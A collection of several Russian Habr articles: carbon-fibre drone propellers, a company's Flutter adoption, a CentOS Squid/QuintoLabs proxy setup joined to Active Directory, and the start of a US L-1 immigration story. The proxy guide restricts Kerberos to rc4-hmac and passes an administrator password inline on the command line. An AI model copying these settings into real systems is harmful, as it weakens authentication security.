После печати форма нуждается в обработке. Обрабатываются матрицы наждачной бумагой зернистостью от 800 до 1500, на одну половинку затрачивается порядка 5 минут. На фото ниже можно ознакомиться с результатами обработки.
Т.к. эпоксидная смола - это довольно клейкое вещество, то предполагается, что формы необходимо защитить, если этого не сделать, то изделие просто-напросто приклеится к оснастке и результат будет около нулевой. Поэтому, необходимо на форму нанести разделительный слой. Есть специализированные разделительные системы, на основе воска, силиконов или полупостоянные смазки, но у нас другая задача - сделать из того, что есть максимально под рукой. А под рукой есть обувной крем. Необходимо его нанести на форму, подождать когда он высохнет, потом располировать и повторить этот процесс раза 2-3. Для новых форм это особенно важно. Второй момент - лишнее в процессе обработки - не снять лишнее.
На этом матрицы полностью готовы к формовке. Но нам необходим уголь (углеродный ровинг). Я зашёл на авито и списался с продавцом о возможности приобретения небольшого количества желаемой нити, продавец пошёл мне навстречу и продал 5 метров. Смола эпоксидная продаётся практически в любом строительном магазине ([ЭД-20,](https://leroymerlin.ru/product/remkomplekt-5-epoksidnaya-smola-ed-20500g-pepa50-g-t-111-pm-90535523/) например).
Можно приступать к формовке. Пропитываю угольное волокно эпоксидной смолой и укладываю в форму.
Через сутки смола твердеет и можно извлекать изделие. На фото ниже извлечённое изделие из формы с облоем, которые необходимо срезать.
После обработки лопасти взвешиваю и собираю в готовые винты. Взвешиваю для того, чтобы собирать лопасти с наиболее близкой массой.
Готовый самодельный винт и его масса. (2,53 г)
Масса штатного винта. (2,61 г)
Для проверки провёл испытания в комнате, всё тоже самое, что и с напечатанными лопастями из предыдущей статьи. Прирост был чуть больше 8%, что на 1% больше, чем результат на напечатанных лопастях. Возможно, это связано с тем, что композитные лопасти намного жёстче и стабильнее, чем напечатанные, ну или ошибка где-то закралась )
И наступает момент, ради которого всё задумывалось - испытания на улице.
Сначала в полёт был отправлен коптер со штатными винтами и он улетел. Да-да, улетел и не вернулся, покоится где-то в лесу. Ниже приведён его последний кадр. Я не уследил, что коптер на высоте от 250 м стал быстро удаляться от точки старта (облачками залюбовался :) ). Потом потеря сигнала и пока.
Пришлось купить такой же и повторить испытания. Со вторым прошло всё куда более гладко. Из-за потери коптера я решил уменьшить максимальную высоту подъёма с 300 м до 200 м. И программа испытаний получается следующая:
1. Взлёт и старт секундомера;
2. Подъём на высоту 200 м.;
3. Спуск на высоту 50 м.;
4. Полёт вдоль дороги по маршруту до момента, когда Spark захочет полететь домой;
5. Прилёт в точку дом, спуск до высоты 1 м., принудительное удержание коптера в полёте;
6. Посадка по причине невозможности больше держаться в воздухе.
7. Останов секундомера.
Сначала летаю на штатных воздушных винтах на первом и втором аккумуляторе, потом на самодельных.
Видеоверсия испытаний.
И, конечно же, результаты измерений.
Штатный воздушный винт
1 АКБ 15:10 (910 сек)
2 АКБ 15:00 (900 сек)
Самодельный воздушный винт
1 АКБ 16:35 (995 сек)
2 АКБ 16:20 (980 сек)
Получается, что для при использовании первой АКБ прирост составил 9,3%, для второй АКБ 8,8%, т.е. по сути, тот же прирост, что и при висении.
Но, внимательный читатель может заметить, что время полёта на месте в помещении и на улице сильно отличается. В помещении время не дотягивало и до 15 минут, а на улице более 16 минут, на улице же ветер, который мешает летать.
Секрет кроется в [косой обдувке](https://studopedia.ru/19_175423_osobennosti-aerodinamiki-nesushchego-vinta-nv.html) воздушного винта, за счёт которой увеличивается расход воздуха через винт, а следовательно увеличивается и тяга при той же мощности.
Этот эффект используют и большие вертолёты, когда необходимо взлететь или с перегрузом или в условиях разреженной атмосферы ( в горах), но для этого нужно взлетать по самолётному. Ниже пример такого взлёта.
Возвращаясь к начальному вопросу о том, что получился оптимизированный винт для нулевой скорости. Да, это отчасти так, но из-за того, что скорости на воздушном винте, вызванные его вращением в среде довольно высоки (угловая скорости винта 200 об/сек), а скорость аппарата в среде довольно мала 2-3 м/с, то и получается, что негативного влияния последнего на конечные результаты просто нет. Другое дело, если в экспериментах участвовал самолёт, то да, влияние было бы существенно и эффективность винта на скорости 0 м/с сильно отличалась от эффективности при крейсерском полёте.
О минусах угольных винтов - сильно ухудшилась связь приёмо-передатчика с коптером. Углеродное волокно электропроводно, видимо, из-за этого связь ухудшилась. Для исправления этой проблемы лопасти можно сделать из стеклоткани или базальтового волокна. Они условно радиопрозрачны.
На этом всё, спасибо за внимание. На вопросы готов ответить. | https://habr.com/ru/post/693000/ | null | ru | null |
# Быстрее нативной разработки: опыт внедрения Flutter в крупной компании
Хотя сообщество мобильных разработчиков давно нахваливает Flutter, большие компании не спешат переходить на эту технологию. Так получилось, что здесь мы стали одними из первых: когда понадобилось быстро выпустить новое приложение, мы взвесили все «за» и «против», опробовали гугловский фреймворк и остались довольны. Чем хорош Flutter, как выстраивается процесс разработки, где искать специалистов, какие нюансы и подводные камни нужно учитывать – обо всём этом расскажем под катом. Поехали.
Задачи: почему мы вообще в это ввязались
----------------------------------------
О Flutter мы были наслышаны. Нам давно хотелось опробовать эту перспективную технологию, и в начале этого года новый проект представил такой случай. Задача состояла в следующем: за 3–4 месяца разработать кроссплатформенное приложение, с помощью которого фермеры могли бы продавать свою продукцию конечным потребителям. Эта новая торговая площадка должна предоставлять участникам удобные инструменты:
* фермерам – для создания своих цифровых витрин с текстовыми описаниями и изображениями товаров и агротуров, с возможностью настраивать правила торговли и добавлять адреса
* покупателям – для формирования корзины из фермерских продуктов и оформления заказов
Поиск решения: почему выбрали Flutter
-------------------------------------
Выбор технологии для реализации занял у нас около месяца. Все решения крутились вокруг идеи использования кроссплатформенного фреймворка, который дал бы возможность сэкономить на разработке двух приложений. При этом крайне не хотелось чем-либо жертвовать, особенно качеством итогового продукта.
По большому счёту, выбирали между нативом и Flutter. React Native и Xamarin отбросили почти сразу, с ними уже имелся опыт – не очень удачный. Также рассматривали PWA, но этот вариант тоже пришлось забраковать: на момент выбора там было не всё хорошо с поддержкой нативных функций системы, особенно в iOS. К тому же для хорошей поддержки требовались свежие версии OS, что тоже могло стать проблемой. В общем, изучив вопрос поглубже, решили не собирать грабли.
В целом для каждой технологии мы выделяли важные для нас аспекты, сравнивали. На тот момент плюсы Flutter представлялись нам следующим образом:
* достаточно быстрый, за счет компиляции, сравним с нативом
* виджетный (компонентный) подход, сродни React
* кроссплатформенный – меньше кода, потенциально упрощает тестирование
* богатый инструментарий разработчика – IDE и прочее
* открытый исходный код: всегда можно разобраться, как это работает, или почему не работает так, как хочется
* продукт, который развивает и продвигает Google и большое Open-source community
* крупные компании – Google, Groupon, Alibaba – разрабатывают на нём свои приложения
Были и минусы:
* мало разработчиков – всего 121 резюме, 11 лидов/сеньоров в Москве
* дорогие лиды/сеньоры
* относительно мало технической информации – stackoverflow и т.п.
* пока мало готовых (сложных) компонентов – стандартные/системные тут не используются
* язык – новичкам придётся учить Dart (но легко переходить, если есть опыт разработки на Java или JavaScript)
* сложно найти подрядчиков с опытом
В конце концов плюсы перевесили. Не последнюю роль в принятии решения сыграли наше доверие к экосистеме Google и понимание того, что мы вряд ли получим блокер по нашей задаче из-за незрелости технологии: фреймворк вполне себе зрелый, с базовым набором функциональности.
Пришлось фантазировать: формирование команды
--------------------------------------------
После выбора решения одним из главных вызовов стало формирование команды под новый проект. О поиске Flutter-разработчиков можно написать отдельную статью. На момент старта проекта — весной 2020 года – подходящих специалистов на рынке было, мягко выражаясь, не густо. HH по запросу «Flutter» выдавал несколько десятков резюме, в которых значился некоммерческий опыт: «Мне было интересно, и я начал разрабатывать своё приложение» или «Уговорил попробовать сделать какой-то простенький внутренний проект в компании».
И всё же через HH мы нашли нашего первого разработчика, Михаила. Ему так понравился Flutter, что он по собственной инициативе сделал на этом фреймворке приложение для своей компании – но развития оно, к сожалению, не получило. Михаил хотел работать с Flutter дальше, поэтому он вышел на рынок, где мы и нашли друг друга. Вместе с ним формировать команду мобильной разработки стало немного проще: появилась своя компетенция.
> *Основная масса специалистов по Flutter — это младшие разработчики, которые только начинают свой путь, а также старшие или ведущие, у которых есть время изучать современные технологии и пробовать их в виде proof of concept. Проще всего адаптироваться к Flutter тем, кто имеет опыт Android-разработки. На втором месте web-разработчики: react, vue.js – здесь близкий по духу компонентный подход.*
>
>
И всё же людей на рынке было крайне мало, а в активном поиске – ещё меньше. С начинающими разработчиками мы решали и решаем вопрос в т.ч. за счёт нашей [стажёрской программы](https://rshbstart.ru) для студентов старших курсов вузов, где под руководством опытных наставников ребята становятся полноценными джунами. Так было с Евгением, который пришёл к нам на стажировку по мобильной разработке. Обучался под руководством Михаила почти со старта проекта и достаточно быстро дошёл до продуктовых задач.
Однако с синьорами и мидлами дело было совсем плохо, обычные каналы поиска не работали. Пришлось фантазировать: искали людей в тематических telegram-каналах и через Хабр, среди авторов статей по Flutter. С подходящими кандидатами списывались, общались, давали тестовые задания. Это вынудило нас расширить географию на всю Россию, что стало новым опытом: до этого мы рассматривали только кандидатов из городов, в которых есть наши офисы – но с Flutter это не работало.
На сегодняшний день география команды довольно обширна: кроме москвичей, у нас работают жители Петрозаводска, Елабуги, Барнаула. Есть кандидаты технических и физико-математических наук. Таким образом, команда формировалась постепенно, параллельно с активной разработкой приложения. Сейчас у нас уже 7 разработчиков, появляются новые проекты на Flutter – мы растём.
Изначально работу выстраивали по принципу feature-driven development (FDD, разработка, управляемая функциональностью). Но впоследствии решили перейти на унифицированный процесс разработки на основе OpenUP: такой способ лучше подходит для управления разработкой всего продукта и координации нескольких команд – архитекторов, аналитиков, разработчиков, тестировщиков. Внутри команд разработки используем Scrum.
Особенности разработки на Flutter
---------------------------------
Когда говорят о кроссплатформенной мобильной разработке, часто сравнивают React Native и Flutter. Однако нужно понимать, что React Native – это не история про один код на все платформы. Недаром официальный слоган проекта – Learn once, write anywhere. Дело в том, что в React Native пишут код на JavaScript, который использует нативные для каждой платформы компоненты – и они довольно сильно отличаются. Да, есть общие компоненты, вроде Text и View: под обе платформы, хотя и с нюансами. Но много и таких, что работают только на одной ОС. Поэтому в React Native нередко можно встретить выражения:
```
if (Platform.OS == 'ios') ...`
```
При использовании Flutter разработка ведётся на языке Dart, который компилируется в нативный для платформы код. При этом вместо нативных компонентов используется собственная библиотека виджетов, которые выглядят как нативные – Material и Cupertino для Android и iOS соответственно. Вы можете использовать виджеты из обеих библиотек в одном приложении, кроме того, их очень легко кастомизировать.
В результате код действительно выходит кроссплатформенным. Целевую платформу необходимо учитывать лишь изредка. Например, у нас была ситуация с отображением маркеров на google-карте. У этих изображений должен быть разный исходный размер, а значит механика отрисовки должна учитывать устройство, на котором запущено приложение.
Бывает и так, что есть уникальная для платформы функциональность. Подстановка СМС-кодов верификации на iOS работает по умолчанию, от программиста не требуется никаких действий. А на Android нужно использовать системные методы, чтобы получить этот код программно и подставить в нужное поле. Хотя даже для этой задачи уже существуют Flutter-библиотеки, например, sms\_user*\_*consent. Весь платформенный код в ней уже создан, остаётся только добавить свой listener для получения сообщений.
```
if (Platform.isAndroid) {
listenForCode();
}
void listenForCode() {
smsUserConsent = SmsUserConsent(
phoneNumberListener: () {},
// Действия при получении смс-сообщения
smsListener: () {
Log('code is updated to ${smsUserConsent.receivedSms}');
final sms = smsUserConsent.receivedSms;
_smsCodeController.text = sms.substring(sms.lastIndexOf(' ') + 1);
});
smsUserConsent.requestSms();
}
```
Одна из не очень удобных особенностей Flutter – достаточно динамичный релизный цикл. Как и во всех подобных активно развивающихся фреймворках, почти каждое крупное обновление приводит к необходимости внесения изменений в уже написанный код. Например, при переходе с версии 1.20 на 1.22 пришлось потратить несколько часов из-за конфликтов имён классов проекта и встроенных классов Flutter. Тем не менее такие серьезные изменения – скорее редкость, они происходят не чаще трёх раз в год.
Также мы рассчитывали, что возможность поддержки настольной и веб-платформы появится раньше. Но эта функциональность по-прежнему не дошла до stable-версии, поэтому нам всё ещё приходится поддерживать веб-версию приложения отдельно.
Разработка на Flutter значительно быстрее, нежели нативная. Если говорить о кодовой базе, то нативный мобильный код по объёму для каждой платформы по отдельности был бы примерно аналогичен Dart-коду, но за счет того, что платформ две, получаем существенное увеличение трудозатрат.
Результаты и выводы: стоит ли разрабатывать на Flutter
------------------------------------------------------
Новый фреймворк не подвёл: после полугода разработки MVP доступно в магазинах приложений для [Android](https://play.google.com/store/apps/details?id=ru.rshb.svoe_rodnoe&hl=en_US&gl=US) и [iOS](https://apps.apple.com/ru/app/%D1%81%D0%B2%D0%BE%D1%91-%D1%80%D0%BE%D0%B4%D0%BD%D0%BE%D0%B5/id1529757195). Проект по-прежнему развивается, и в этом очень помогает фидбэк пользователей: мы активно взаимодействуем с фермерами, которые делятся своими впечатлениями от использования платформы. В ближайшем будущем хотим подключить к нашему маркетплейсу сторонние сервисы доставки, внедрить онлайн-платежи, организовать процесс совместных покупок. Для реализации этого нам понадобятся не только [мидлы и сеньоры](https://www.rshbintech.ru/vacancy/69), специализирующиеся на Flutter, но и [PHP-разработчики](https://www.rshbintech.ru/vacancy/152) (Senior и Team Lead с опытом Magento 2), а также опытные [специалисты](https://www.rshbintech.ru/vacancy/57) по Vue.js. Если видите себя членом нашей новой команды – обязательно пишите!
Нам очень понравилось работать с Flutter. Тем не менее это решение пока нельзя считать универсальным: для нашего проекта оно подошло на 100%, но при разработке какой-нибудь игры или продукта, использующего более сложные и передовые технологии – VR, AR, ML и т.п., – всё могло бы сложиться не так гладко. Впрочем, со временем эта функциональность наверняка подтянется.
Единственный реальный риск — корпоративные войны между Apple и Google. Если политика Apple в отношении приложений на Flutter изменится, это может негативно сказаться на его перспективах. Речь не только о процессе размещения в магазине приложений, но об инструментальных средствах, таких как совместимость SDK.
Мобильным разработчикам однозначно стоит попробовать Flutter, особенно тем, кто делает первые шаги в мире программирования. На сайте проекта есть отличная документация, у фреймворка имеется активное сообщество, а также большая база сторонних плагинов и библиотек. И мы со своей стороны собираемся продолжать делиться своим опытом решения реальных задач на Flutter и готовы ответить на ваши вопросы, задавайте их в комментариях. | https://habr.com/ru/post/533848/ | null | ru | null |
# Настройка Squid 3 + QuintoLabs Content Security 1.4 и интеграция с Active Directory
Про [Squid](http://www.squid-cache.org/) рассказывать не буду, а про возможности QCS расскажу.
Что же умеет делать QuintoLabs Content Security
\* Удаляет назойливую рекламу
\* Запрет на закачку файлов
\* Групповой контроль
\* Исключение любого домена, подсети, ip из фильтра
\* Высокая производительность
\* Легкая настройка и обслуживание
\* Поддержка дистрибутивов RedHat, CentOS, Fedora, Debian, Ubuntu
Для настройки связки у нас имеется предварительно настроенный
1) dc.example.lan [192.168.28.20] — Win2K2008 с DNS и Active Direcory
2) 192.168.28.2 — Шлюз
3) DNS [192.168.28.20]
3) example.lan — Домен
4) proxy.example.lan — Наш сервер CentOS 6
5) client.example.lan — Клиент Win7
Далее будем настраивать на proxy сервер(CentOS) с учетом того что сервер на Win2K2008 с нужными нам службами настроен
Настраиваем статический ip в /etc/sysconfig/network-scripts/ifcfg-eth0:
`BOOTPROTO=static
NETMASK=255.255.255.0
IPADDR=192.168.28.21
ONBOOT=yes`
Выставляем шлюз /etc/sysconfig/network:
`GATEWAY=192.168.28.2`
Указываем dns в /etc/resolv.conf:
`nameserver 192.168.28.20`
Рестарт сетевых интерфейсов
`/etc/init.d/network restart`
Пингуем:
`$ping -c 3 192.168.28.2`
Если все удачно. то можно двигаться дальше
Обновляемся:
`yum update`
а после ставим дополнительные пакеты:
`yum install bind-utils`
устанавливаем ntp
`yum install ntp`
добавим в автозагрузку
`chkconfig ntpd on`
Открываем /etc/ntp.conf и добавляем на контроллер домена в конфиг
Останавливаем сервис:
`service ntpd stop`
Синхронизируемся с нашим dc:
`ntpdate -b dc.example.lan`
и запускаем обратно сервис ntp:
`service ntpd start`
Устанавливаем kerberos:
`yum install krb5-workstation krb5-libs`
Приводим конфиг /etc/krb5.conf к аналогичному виду:
`[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
default_realm = EXAMPLE.LAN
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
default_tgs_enctypes = rc4-hmac
default_tkt_enctypes = rc4-hmac
permitted_enctypes = rc4-hmac
[realms]
EXAMPLE.LAN = {
kdc = dc.example.lan
admin_server = dc.example.lan
default_domain = example.lan
}
[domain_realm]
.example.lan = EXAMPLE.LAN
example.lan = EXAMPLE.LAN`
Пробуем получить билетик:
`kinit Administrator@EXAMPLE.LAN`
Если прошло все без проблем то проверяем выданный нам билет:
`klist`
и видим:
`Ticket cache: FILE:/tmp/krb5cc_0
Default principal: Administrator@EXAMPLE.LAN
Valid starting Expires Service principal
12/07/11 11:07:58 12/07/11 21:08:00 krbtgt/EXAMPLE.LAN@EXAMPLE.LAN
renew until 12/14/11 11:07:58`
Перегружаемся:
`shutdown -r now`
Устанавливаем sabma и заводим наш сервер в домен
`yum install samba`
добавляем в атозагрузку:
`chkconfig smb on`
Открываем конфиг самбы /etc/samba/smb.conf и приводим его к такому виду:
`[global]
workgroup = EXAMPLE
realm = EXAMPLE.LAN
server string = Samba Server Version %v
security = ADS
log file = /var/log/samba/log.%m
max log size = 50
cups options = raw
[homes]
comment = Home Directories
read only = No
browseable = No
[printers]
comment = All Printers
path = /var/spool/samba
printable = Yes
browseable = No`
Перезапустим самбу:
`service smb restart`
Инициализируем kerberos:
`kinit Administrator@EXAMPLE.LAN
klist
net ads join -S dc.example.lan -U Administrator%P@ssw0rd`
Открываем оснастку AD и проверяем появился ли наш proxy сервер в OU «Computers»
Видим положительный результат и опять ребут:
`shutdown -r now`
Устанавливаем Squid:
`yum install squid`
Открываем /etc/squid/squid.conf, находим нужные нам строки и заменяем их:
`visible_hostname proxy.example.lan
http_access allow localnet and acl localnet src 192.168.28.0/24`
Добавляем в автозагрузку:
`chkconfig squid on`
Перезапустим сервис:
`service squid start`
Добавим запись по умолчанию в файл /etc/krb5.keytab
`net ads keytab add HTTP -U administrator
Processing principals to add...
Enter administrator's password:`
Изменяем владельца файла:
`chown squid:squid /etc/krb5.keytab`
и выставляем chmod:
`chmod 400 /etc/krb5.keytab`
Меняем содержимое конфига в /etc/squid/squid.conf:
`auth_param negotiate program /usr/lib/squid/negotiate_kerb_auth -s HTTP/proxy
auth_param negotiate children 10
auth_param negotiate keep_alive on
acl auth proxy_auth REQUIRED
http_access deny !auth
http_access allow auth
http_access deny all`
После этого перегружаем наш сервер, и на клиентской тачке, открываем ie и проверяем аутентификацию. Если все прошло удачно то в логах /var/log/squid/\*.log мы увидем нашего пользователя
Далее устанавливаем apache
`yum install httpd php mod_wsgi`
Добавляем в автозагрузку
`chkconfig httpd on`
Запускаем apache:
`service httpd start`
Переходим к финальной части, устанавливаем QuintoLabs Content Security 1.4.2
Скачиваем:
`curl quintolabs.com/qlproxy/binaries/1.4.2/qlproxy-1.4.2-32d12.i386.rpm > qlproxy-1.4.2-32d12.i386.rpm`
Устанавливаем:
`rpm --install qlproxy-1.4.2-32d12.i386.rpm`
Для блокировки рекламы достаточно раскоментировать нужную нам подписку в файле /opt/quintolabs/qlproxy/etc/adblock.conf
По желанию можно повысить эвристику фильтра для онлайн игр в файле /opt/quintolabs/qlproxy/etc/adultblock.conf
Ищем строку:
`heuristics_level = normal`
и normal меняем на high:
`heuristics_level = high`
В конфиге /opt/quintolabs/qlproxy/etc/exceptions.conf можно настроить родительский контроль, поддерживающий фильтрацию html страниц для запрещеных слов и фраз.
А в конфиге /opt/quintolabs/qlproxy/etc/httpblock.conf можно настроить защиту от троянов и вирусов которые часто посылают запросы по IP:
`http://\d+\.\d+\.\d+\.\d+/.*`
После всех изменений перезапускаем демон:
`/etc/init.d/qlproxy restart`
Открываем конфиг squid /etc/squid/squid.conf и вносим изменения для взаимодействитя с нашим фильтром:
`icap_enable on
icap_preview_enable on
icap_preview_size 4096
icap_persistent_connections on
icap_send_client_ip on
icap_send_client_username on
icap_service qlproxy1 reqmod_precache bypass=0 icap://127.0.0.1:1344/reqmod
icap_service qlproxy2 respmod_precache bypass=0 icap://127.0.0.1:1344/respmod
adaptation_access qlproxy1 allow all
adaptation_access qlproxy2 allow all`
Перегружаем сервис squid:
`service squid restart`
Далее правим конфиг apache /etc/httpd/httpd.conf и добавляем:
`WSGIScriptAlias /qlproxy.cgi /var/opt/quintolabs/qlproxy/www/data/qlproxy.wsgi
WSGIApplicationGroup %{GLOBAL}
Order deny,allow
Allow from all``Alias /qlproxy /var/opt/quintolabs/qlproxy/www
Options FollowSymLinks
AllowOverride None`
Перегружаем apache
`service httpd restart`
И соответственно проверяем всю работу сервера и фильтарции в том числе.
Немного линков
* [www.centos.org](http://www.centos.org)
* [docs.redhat.com/docs/en-US/Red\_Hat\_Enterprise\_Linux/index.html](http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/index.html)
* [www.squid-cache.org](http://www.squid-cache.org)
* [acksyn.org/diary/?p=460](http://acksyn.org/diary/?p=460)
* [www.quintolabs.com/qlicap\_info.php](http://www.quintolabs.com/qlicap_info.php)
* [issues.quintolabs.com/trac/quintolabs\_qlicap/wiki/QlicapDocs](http://issues.quintolabs.com/trac/quintolabs_qlicap/wiki/QlicapDocs)
P.S. Если Вы найдете очемятку, пишите в ЛС, буду исправлять :) | https://habr.com/ru/post/136205/ | null | ru | null |
# В США по L-1: от первых собеседований до гринкарты
Привет, Хабр.
*Texas in ~~July~~ January*
Периодически у тебя тут обсуждают иммиграцию в различные страны. Вспоминают и про Штаты: кто-то считает, что туда попасть очень легко, кто-то — что очень сложно. Я прошёл добрую часть этого пути (осталось только гражданство), так что, возможно, имеет смысл поделиться и своим опытом, и не только комментариями в обсуждениях, но и законченным и цельным текстом.
Да и вообще поделиться опытом хочется давно. Соответствующая статья уже успела поменять рабочее название с «пять лет тракторизма» на «шесть лет тракторизма», а затем и на «семь…», и, похоже, это не предел. Та статья действительно подробная, с описанием впечатлений, собеседований, поиска квартир, факапов, наблюдений и тому подобного. Однако воспринималка и ценности у всех разные, поэтому куда разумнее будет описать сухой опыт юридических аспектов переезда, возможно, упомянув связанные с релокацией бенефиты, а «N лет тракторизма» оставить на потом.
Под катом текста на примерно полчаса. Поехали?
Поехали!
Давайте сразу разберёмся с более-менее релевантными вводными:
1. Описываемые события происходили с 2013-го по 2019-й, поэтому произвольные вещи могли произвольным образом поменяться — консультируйтесь с юристами. Кроме того, моя память, увы, тоже неидеальна, поэтому что-то я мог просто забыть или перепутать.
2. Лично у меня какого-то жгучего желания куда-нибудь уехать на тот момент ещё не было, поэтому многое я делал, как говорится, ради лулзов и по принципу «а чего б и нет», и не напрягался. Если бы мне на самом деле хотелось в США, я бы раздолбайничал сильно меньше (и сжёг бы сильно больше нервных клеток).
3. Кроме того, мне было 22 года, я был на шестом курсе — без магистерского диплома, который ещё писался, и по факту без бакалаврского, который лежал в деканате. Так что мы заодно оценим, насколько реалистично попасть в США 22-летним чувакам без дипломов.
4. Несмотря на возраст, я имел на тот момент лет 10 опыта на плюсах за плечами, из которых лет 5 я в том числе писал на них за деньги. Кроме того, я учился на машинного обучателя, что тогда только становилось модным. При этом у меня никогда не было полноценной фуллтайм-работы, чтобы с трудовой, ходить в офис, 40 часов в неделю таскать таски, и так далее, но за счёт общего опыта я позиционировал себя как синьора. Отсутствие 40-часовой работы не мешает писать код 40+ часов в неделю, в конце концов.
Оглядываясь сейчас на то время — да, у меня были весьма хорошие хард-скиллы, на синьора можно было бы и сегодня с ними претендовать, но по софт-скиллам я был просто полным днищем, сам себя бы на работу не взял.
5. Мой вуз — не самый последний вуз в РФ и обеспечивает нетворкинг что со студентами плюс-минус моего возраста, что с людьми лет на 20-30 меня старше.
6. А, совсем забыл — эмигрировал я из default country aka России.
Ещё я так и не научился различать консульство и посольство, поэтому эти слова буду использовать более-менее как синонимы. Кроме того, некоторые термины и цитаты я буду приводить на английском, по большей части для того, чтобы говорить на том же языке, на котором с тобой, $юзернейм, скорее всего будут говорить эйчары, юристы и гугл. Ну и все имена изменены, хотя это будет и так понятно.
Начало: виза для собеседований
------------------------------
Итак, всё началось в декабре 2013-го года, когда Дорофей, мой уже живший в США вузовский приятель на курс старше, вместе со своим знакомым Фемистоклом, жившим тогда в России, пригласили меня помочь продать местной компании-агрегатору вакансий N машинно-обучательный проект по парсингу резюме. Ну, чтобы человек мог загрузить pdf'ку относительно произвольного формата, а наша система из неё бы вытащила все нужные поля и заполнила профиль — да, для 2013-го это было ещё относительно новой фичей. Кроме продажи проекта у приятеля в планах было продаться самим, что называется acqui-hire.
Мы начинаем общаться с N, проходим начальное общение с эйчаром — этакая проверка на общую адекватность. Дорофей берёт на себя основные организационные вопросы по общению с тамошними людьми, и в итоге нам c Фемистоклом помогают сделать бизнес-визу для онсайт-интервью. Ну, как помогают: присылают, что надо сделать, и отдельно присылают приглашение на интервью от N вместе с официальным письмом с темой «Request to expedite non-immigrant visa processing» в адрес посольства США.
Что надо сделать? Цитируя письмо от эйчаров почти восьмилетней давности:
1. Заполнить форму DS-160 (заявление на неиммиграционную визу, в нашем случае B1).
2. Запланировать интервью в посольстве.
3. Заплатить 160 баксов сбора (интересно, связана ли сумма с номером формы?).
4. Подготовить документы.
5. Придти на интервью.
Какие документы нужны?
1. Загран.
2. Пруф заполнения DS-160.
3. Чек оплаты сбора.
4. Приглашение от N, в котором указано, зачем нам надо в США (и прямо написано, что для интервью в N, в котором нас могут, значится, поглотить).
5. Доказательство намерений покинуть США до окончания бизнес-визы.
Из этого интереснее всего два последних пункта.
Во-первых, на Хабре нередко упоминают, что нельзя говорить работнику посольства о том, что вы собираетесь куда-то там наниматься, потому что, мол, это свидетельствует об имиграционных намерениях, что бизнес-визой запрещено. Как показывает практика, это совершенно ничему не мешает. Впрочем, IANAL (I am not a lawyer), так что снова консультируйтесь с юристами.
Во-вторых, что такое доказательство намерений покинуть США? Ссылка на перечень, которую мне тогда скинули, уже не работает, однако можно и так сказать, что это вещи вроде:
* вашей личной недвиги,
* работы,
* остающейся здесь жены-детей,
* денег на банковском счету.
У меня была работа (и неважно, что удалённая на людей из США), очное обучение в вузе и где-то между 10 и 15 тыщами баксов на счету. С пруфами этого я и поехал в посольство в районе 24-го декабря, прям под американское Рождество.
По приезде в посольство и после отстаивания примерно полуторачасовой очереди я осознал, что забыл приглашение от N (да, я раздолбай). Впрочем, это оказалось совершенно не проблемой — интервьюировавший меня работник посольства сказал, что его надо дослать на такой-то емейл с такой-то темой в течение ближайших трёх дней.
Интервьювер вообще был очень приятный в общении человек. Спросил, зачем я еду, к кому, и тому подобное. Я ответил, что обсуждать продажу стартапа по машинному обучению. Интервьювер и бровью не повёл, что 22-летние нестриженые молокососы что-то там кому-то едут продавать, но, видимо, для проверки начал гуглить вопросы по машинному обучению. Правда, вопросы не имели особого смысла и не сильно отличались от «можно ли применить ротор дивергенции интеграла в задачах классификации пространств Пуанкаре?», на что я примерно так и отвечал. Такие ответы человека по ту сторону стойки устроили, так что в итоге я отдал свой загран и поехал домой (и сразу же дослал приглашение).
Правда, оказалось, что моя специальность — прикладная математика — входит в специальный американский список, поэтому, несмотря на отсутствие диплома, моему кейсу требуется дополнительное рассмотрение в Вашингтоне aka administrative processing, и это всё займёт лишних две недели после новогодних каникул. Да, вот так образование может мешать, а не помогать.
В любом случае, где-то в середине января я получил свой паспорт с заветным штампиком. В отличие от Фемистокла, которому дали B1/2-визу с неограниченным количеством въездов на год, мне выдали одноразовую визу на три месяца, но этого более чем достаточно.
Онсайт(ы)
---------
После этого N уточнили устраивающие нас даты поездки, оформили нам билеты и забронировали гостиницу на время интервью. А, кстати, N — в Техасе, рейс был с остановкой в Нью-Йорке (и они, кстати, зажлобились и десятичасовой рейс Москва — Нью-Йорк взяли эконом-классом; все остальные, с кем я общался, в подобных случаях дают бизнес). Обратные билеты можно было попросить сделать на чуть позже — погулять по США, но вопрос жилья на это дополнительное время надо было, конечно, решать самому. И Фемистокл, и я воспользовались этой возможностью. Фемистокл решил недельку погулять по Нью-Йорку. Мне же мой другой знакомый, Гермоген, тоже живший в США и на которого я до того пару лет работал удалённо, как узнал, что мне дали визу, порекомендовал поинтервьюироваться в ещё две компании (уже в Нью-Йорке), которые искали специалистов плюс-минус моего профиля — одна из них пилила хайповую NoSQL-базу, и им нужны были хардкорные плюсисты, а другая занималась всякой аналитикой, и им были нужны гибриды средних плюсистов и средних машинных обучателей.
С одной стороны получалось, что компаниям надо было организовать общение со мной в кратчайшие сроки (условно, через неделю-две после того, как они узнали о моём существовании), с другой — им не нужно было париться с оформлением визы, тратами на билеты и гостиницы, так что в итоге это было win-win для всех.
В итоге в конце января 2014-го я совершил большой шаг для человека, но маленький шаг для всего человечества: ступил на американскую почву для интервьюирования. Для полноты картины и представления потребного уровня знаний вкратце опишу эти интервью.
### N
Перед интервью (ещё в самолёте) я почитал немного статей из dev-блога компании на случай, если вдруг придётся к слову (спойлер: не пришлось), ну и чтобы просто представлять, на каком языке говорят тамошние инженеры. Софт-скиллов такое выдумать мне бы не хватило, конечно — я это сделал по совету Дорофея.
Итак, интервью — два дня фуллтайм на кампусе.
Первый день — совместная презентация нашего проекта силами Дорофея, Фемистокла и вашего покорного слуги. Слуга был в качестве типа специалиста по машинному обучению и хорошего программиста, поэтому распушал хвост рассказами о том, как мы там, значится, бустим решающие деревья из SVM'ов.
Второй день — обычное интервью (но, наверное, одно из самых приятных в моей жизни), с маркером и доской и прочей типичной атрибутикой. Каждого из нас интервьюировали по отдельности, раунда три с разными людьми, где мы в основном вслух рассуждали о разных задачках (например — как бы я бил на слова текст на иероглифическом языке, о котором я ничего не знаю). Ничего существенно сложного не было, и оказалось достаточно базовых представлений о машинном обучении и алгоритмах вроде сортировки слиянием для объёма данных, превосходящего размер оперативки. Кроме этого был кодинг, где за два часа нужно было что-то запрограммировать. Остальные подробности и впечатления, пожалуй, оставим для другой статьи.
